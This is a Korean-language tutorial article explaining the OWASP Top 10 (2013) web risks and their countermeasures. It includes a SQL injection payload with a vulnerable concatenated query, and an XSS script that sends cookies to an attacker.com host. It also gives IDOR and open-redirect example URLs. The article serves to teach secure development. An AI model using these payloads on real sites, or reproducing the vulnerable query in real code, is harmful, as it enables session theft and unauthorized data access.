OWASP 2013 웹 애플리케이션 보안 위협과 대응
OWASP 2013이 정리한 웹 애플리케이션 보안 위협을 인젝션, 인증, XSS, 접근 통제, CSRF 관점에서 살펴본다.
2026-08-14 · 최초 발행 2025-05-29
웹 요청이 취약점으로 바뀌는 지점
OWASP(Open Web Application Security Project)는 2013년에 웹 애플리케이션 보안의 주요 위협을 정리한 목록을 발표했다. 이 목록은 입력값이 해석되는 과정, 사용자 인증과 권한 확인, 브라우저의 동작, 서버와 컴포넌트의 운영 상태처럼 애플리케이션이 실제로 요청을 처리하는 지점을 짚는다.
인젝션
인젝션은 신뢰할 수 없는 데이터가 명령어나 쿼리 일부로 해석기에 전달될 때 생긴다. SQL뿐 아니라 OS, LDAP 인젝션도 여기에 포함된다. 입력 필드에 악의적인 SQL 구문을 넣어 데이터베이스에 부정하게 접근하려는 시도가 대표적이다.
-- 취약한 코드 예시
String query = "SELECT * FROM users WHERE username='" + username + "' AND password='" + password + "'";
-- 공격 예시 (username 필드에 입력)
' OR '1'='1대응은 쿼리와 입력 데이터를 분리하는 데서 출발한다. 파라미터화된 쿼리(Prepared Statements)와 저장 프로시저를 활용하고, 입력값 검증·필터링 및 특수 문자 이스케이핑을 함께 적용한다.
인증과 세션의 경계
인증 및 세션 관리가 잘못 구현되면 공격자가 비밀번호나 세션 토큰을 손상시킬 수 있다. 세션 ID를 URL에 노출하거나, 약한 비밀번호 정책을 두고, 세션 타임아웃을 설정하지 않거나, 안전하지 않은 방식으로 비밀번호를 저장하는 경우가 해당한다.
강력한 인증 메커니즘으로 다중 인증을 구현하고, 세션 ID를 URL에 넣지 않아야 한다. HTTPS와 Secure/HttpOnly 쿠키 설정, 적절한 세션 타임아웃도 함께 필요하다.
브라우저로 전달되는 신뢰할 수 없는 데이터
크로스 사이트 스크립팅(XSS)은 신뢰할 수 없는 데이터가 적절한 검증 또는 이스케이핑 없이 웹 브라우저로 전달될 때 발생한다. 악성 스크립트가 서버에 저장되어 다른 사용자에게 제공되는 저장형 XSS, 요청 내용이 응답에 반영되는 반사형 XSS, 클라이언트 측 DOM 환경에서 실행되는 DOM 기반 XSS로 나뉜다.
<!-- 게시판에 작성된 댓글 -->
<script>
document.location = "http://attacker.com/steal.php?cookie=" + document.cookie;
</script>입력 데이터를 검증하고 필터링하는 것만으로는 충분하지 않다. HTML, JavaScript, CSS, URL 문맥에 맞춘 출력 인코딩과 Content-Security-Policy(CSP) 헤더, XSS 필터 라이브러리 활용이 필요하다.
객체 식별자와 권한 검증
안전하지 않은 직접 객체 참조는 파일, 디렉터리, 데이터베이스 키 같은 내부 구현 객체가 사용자에게 노출될 때 발생한다. 사용자가 식별자를 바꿔 다른 객체에 접근할 수 있는 구조가 문제다.
https://example.com/account?id=123 → https://example.com/account?id=124
간접 참조 맵을 사용하고, 요청마다 접근 제어 검사를 수행해야 한다. 사용자별 접근 권한 확인과 예측하기 어려운 참조 식별자도 방어 수단이 된다.
설정과 데이터 보호도 공격 표면이다
보안 설정 오류는 잘못된 설정 또는 그대로 남아 있는 기본 설정에서 비롯된다. 불필요한 서비스 실행, 기본 계정·비밀번호 사용, 상세 오류 메시지 노출, 최신 보안 패치 미적용이 대표적인 사례다. 모든 환경에 동일한 보안 설정을 적용하고, 최소 권한 원칙을 따르며, 필요 없는 기능과 서비스를 제거하고 보안 패치를 주기적으로 적용해야 한다.
민감 데이터 노출은 중요한 데이터가 충분히 보호되지 않을 때 발생한다. 평문 저장, 약한 암호화 알고리즘, HTTPS 미사용, 부적절한 키 관리가 위험을 만든다. 강력한 암호화 알고리즘을 사용하고 전송 중 데이터는 HTTPS로 보호하며, 불필요한 민감 데이터는 저장하지 않고 키 관리와 보호 체계를 갖춰야 한다.
기능마다 서버에서 권한을 확인한다
기능 수준의 접근 통제 누락은 서버 측 기능 권한 검사가 제대로 수행되지 않을 때 생긴다. UI에서만 접근을 막거나 직접 URL 접근에서 권한 검사를 생략하면 기능이 노출될 수 있다.
모든 기능에 서버 측 접근 제어를 구현하고 역할 기반 접근 제어(RBAC)를 적용해야 한다. 기본 거부(Deny by default) 정책과 중앙 집중식 접근 제어 메커니즘도 권한 검증을 일관되게 유지하는 방법이다.
사용자의 인증 상태를 악용하는 요청
크로스 사이트 요청 위조(CSRF)는 로그인된 사용자의 브라우저가 인증된 요청을 자동으로 포함하도록 속이는 공격이다. 사용자가 은행 사이트에 로그인해 쿠키를 받은 뒤 악성 사이트를 방문하면, 악성 사이트가 은행 사이트로 자동 요청을 발생시킬 수 있다. 이때 브라우저는 쿠키를 포함한 요청을 전송한다.
CSRF 토큰을 사용하고 SameSite 쿠키 속성을 설정하며, 중요한 작업에는 재인증을 요구할 수 있다. Origin/Referer 헤더 검증도 방어 기법에 포함된다.
<!-- CSRF 방어 예시 코드 -->
<form action="/transfer" method="post">
<input type="hidden" name="csrf_token" value="랜덤_토큰_값" />
<input type="text" name="amount" />
<input type="submit" value="송금" />
</form>의존성과 이동 경로의 검증
알려진 취약점이 있는 컴포넌트를 사용하는 문제는 취약점이 공개된 라이브러리, 프레임워크, 소프트웨어 모듈을 계속 사용할 때 발생한다. 오래된 프레임워크, 패치되지 않은 시스템, 확인하지 않은 취약점 데이터베이스가 위험 요소다. 사용 중인 컴포넌트 목록을 관리하고, 취약점 데이터베이스를 정기적으로 확인하며, 업데이트 계획을 세우고 불필요한 의존성을 제거해야 한다.
검증되지 않은 리다이렉트 및 포워드는 애플리케이션이 목적지를 확인하지 않은 채 사용자를 다른 페이지로 보낼 때 생긴다.
https://example.com/redirect?url=https://attacker.com
리다이렉트 사용을 줄이고 목적지 URL을 검증해야 한다. 직접 URL 노출 대신 매핑 테이블을 사용하거나, 리다이렉트 전에 사용자 확인을 요청하는 방식도 사용할 수 있다.
OWASP 목록이 반영한 변화
OWASP는 2013년 이후 2017년과 2021년에 Top 10 목록을 업데이트했다. 변화하는 웹 보안 환경을 반영하면서 API 보안을 강조하고, 서버리스 아키텍처 관련 위협과 디자인 취약점을 포함했으며, 모던 웹 개발 패러다임을 반영했다.
개발 흐름 안에 넣는 보안 검토
OWASP Top 10은 별도의 점검표로만 다루기보다 개발 과정에 연결할 수 있다. 개발 주기에 보안 코드 리뷰를 통합하고, SAST와 DAST 도구를 활용한 자동화된 보안 테스트를 운영한다. 개발자 보안 인식과 안전한 코딩 교육, 개발 파이프라인에 보안을 통합하는 DevSecOps, 프로젝트 초기 단계의 보안 요구사항 명시가 함께 이어져야 한다.
OWASP Top 10 (2013)은 웹 애플리케이션 보안을 검토하는 기본 프레임워크로 남아 있다. 이 기준을 이해하고 적용하면 조직은 웹 애플리케이션의 보안 상태를 개선할 수 있으며, 지속적인 보안 교육과 최신 OWASP 가이드라인 숙지는 보안 전문가와 개발자 모두에게 필요하다.